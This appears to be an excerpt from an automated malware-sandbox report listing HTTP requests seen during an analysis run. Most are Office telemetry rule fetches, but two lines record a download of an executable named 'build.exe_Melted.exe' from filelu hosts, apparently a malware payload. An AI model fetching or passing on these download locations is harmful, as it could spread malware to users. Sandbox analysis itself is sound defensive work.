Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /ajosckQ4MSrmZ5a2/build.exe_Melted.exe HTTP/1.1Host: filelu.com
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /d/rf3hrm2kjs6ftjtau2mnyyh3r772lwp5nosn7kyoj5fx4b3u3jptgvc2i7rgdk7bvlktmqfe/build.exe_Melted.exe HTTP/1.1Host: 3333.filelu.cloudConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
